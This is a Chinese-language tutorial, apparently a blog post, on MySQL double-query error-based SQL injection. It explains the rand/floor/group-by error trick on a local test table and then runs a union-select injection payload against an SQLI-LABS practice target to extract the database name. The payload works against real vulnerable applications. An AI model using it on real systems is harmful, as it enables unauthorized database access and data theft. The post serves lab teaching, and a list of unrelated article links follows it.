一、基础知识  

  开始讲解MYSQL双查询错误之前,我们先了解一下双查询语句以及需要使用到的几个数据库函数和GROUP BY语句

  1. 双查询语句

    先了解一下什么是子查询,子查询就是嵌入第一层select语句中的select语句,比如:

SELECT * FROM score WHERE even_id IN (SELECT even_id FROM grade_event WHERE category = 'T');

功能:该语句实现的是找出与考试类别('T')相对应的所有考试事件行的ID,然后利用它们来查找那些考试的成绩

         双查询语句就是此类使用了两个select的查询语句

   2. 数据库函数和GROUP BY语句

    1)rand() --- 随机数生成函数

    2)floor() --- 向下取整函数

    3)concat()  --- 字符串连接函数

    4)count() --- 统计函数

    5)group by --- 给出分组条件

二、环境搭建

(1)创建数据库
create database injection;
(2)创建表
create table user (
id int,
name varchar(15)
);
(3)往表中插入3条数据
insert into user value(1,'mike');
insert into user value(2,'anna');
insert into user value(3,'andy'); 数据库版本:mysql-5.7.27

三、查询操作

  1. SQL语句

select count(*), concat((select database()), floor(rand()*2)) as a from user group by a;

  2. 执行情况

  3. 操作结果

   可以看到在第二次执行我们的SQL语句时发生了错误,从错误提示中我们获知了数据库的名字:injection.

四、靶场测试

  下面我们利用SQLI-LABS这个SQL注入靶场做一次利用SQL双查询错误进行注入攻击,地址如下:

              http://43.247.91.228:84/Less-5/

  在上面的网址后加入:

?id=1‘ union select 1, count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+

  也许是运气好,第一次执行就得到了想要的结果,如下:

  从上图中可以看出,我们已经得到了数据库的名字:security. 接下来可以一步一步构造要注入的SQL语句获取信息,在下

  一篇讲解双查询错误原理后,会讲解如何构造注入语句来获取数据库信息.

MYSQL双查询错误1的更多相关文章

  1. MYSQL双查询错误2

    一.关键点 MYSQL双查询错误之所以产生,有两个关键点: (1)SQL语句中使用GROUP BY语句时会生成临时表: (2)RAND()在查询和存储时生成的随机数有可能不同. 补充:======== ...

  2. MySQL 子查询(三) 派生表、子查询错误

    From MySQL 5.7 ref:13.2.10.8 Derived Tables 八.派生表 派生表是一个表达式,用于在一个查询的FROM子句的范围内生成表. 例如,在一个SELECT查询的FR ...

  3. 利用Keepalived+mysql构建高可用MySQL双主自动切转

    转载:http://www.it300.com/index.php/article-15266.html 关于MySQL-HA,目前有多种解决方案,比如heartbeat.drbd.mmm.共享存储, ...

  4. sql注入--双查询报错注入原理探索

    目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...

  5. sql注入--双查询报错注入

    sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...

  6. Mysql双主加Keepalived+读写分离

    一.MySQL于keepalived简介** 前言: 在企业中,数据库高可用一直是企业的重中之重,中小企业很多都是使用mysql主从方案,一主多从,读写分离等,但是单主存在单点故障,从库切换成主库需要 ...

  7. 使用Keepalived实现MySQL双主高可用

    MySQL双主配置 环境准备: OS: CentOS7 master:192.168.1.10 backup:192.168.1.20 VIP:192.168.1.30 一.安装MySQL数据库. 在 ...

  8. 基于keepalived搭建mysql双主高可用

    目录 概述 环境准备 keepalived搭建 mysql搭建 mysql双主搭建 mysql双主高可用搭建 概述 传统(不借助中间件)的数据库主从搭建,如果主节点挂掉了,从节点只能读取无法写入,只能 ...

  9. 一个月后,我们又从 MySQL 双主切换成了主 - 从!

    这是悟空的第 157 篇原创文章 官网:www.passjava.cn 你好,我是悟空. 一.遇到的坑 一个月前,我们在测试环境部署了一套 MySQL 高可用架构,也就是 MySQL 双主 + Kee ...

随机推荐

  1. C++-有感

    今日在图书馆待了差不多一天,我都忘了我吃饭了没,拿着看视频学习,没啦,主要还是看书,突然感觉有点写不动了. 明天开始不带电脑了,准备把数据结构书重新过一遍,算了,还是不用C++写了,感觉C++居然做题 ...

  2. C#中字节数组byte[]和字符串string类型的相互转换

    C#中字节数组byte[]和字符串string类型的相互转换: string转byte[]: byte[] byteArray = System.Text.Encoding.Default.GetBy ...

  3. laravel如何A表中包含B表中信息

    A表中如何包含B表中的信息 首先看A表的信息 接着看B表的信息 我的需求就是 A表字段name对应B表字段ream_name然后得到B表的对应主键ID要在A表中查询出来 发现问题就是查询出来的id和A ...

  4. 解决Creating Server TCP listening socket 54.179.160.162:7001: bind: Cannot assign requested address

    背景:之前在测试环境搭过一个redis集群,运维把服务器重启之后我重新开启redis集群始终起不来,但是有没有任何日志,经过如下步骤最终解决问题 1.修改日志路径,根据日志查看为什么会启动失败[前期操 ...

  5. 简单了解一个WSDL,SOAP的格式

    简单了解一个WSDL,SOAP的格式 2016-06-20 09:34:43 树先生i 阅读数 5187  收藏 更多 分类专栏: WebService   版权声明:本文为博主原创文章,遵循CC 4 ...

  6. lnmt

    目录 1.nginx安装与配置 1.1安装nginx 1.2nginx安装后的配置 2.mysql安装与配置 2.1安装mysql 2.2mysql配置 3.部署tomcat 3.1java环境安装 ...

  7. sql根据字符将一行拆成多行

    SELECT B.value FROM ( SELECT [value] = CONVERT(xml,'<root><v>' + REPLACE('A,C,D', ',', ' ...

  8. Android 使用 MPAndroidChart 实现折线图

    Android 使用 MPAndroidChart 实现折线图 做Android项目的时候用到了折线图,不光折线图,还可能遇到很多的图表需要展示渲染,自己手画的话那好玩了,今天使用MPAndroidC ...

  9. 每天进步一点点------MicroBlaze

             有了前面两个实例的铺垫,下面这个工程就要带大家尝试搭建一个基于MicroBlaze的应用.特权同学也是第一次接插Xilinx的嵌入式开发平台,跑了一个流程下来,正如所料,和Alter ...

  10. form:select的内容

    https://blog.csdn.net/ccclych1/article/details/88395650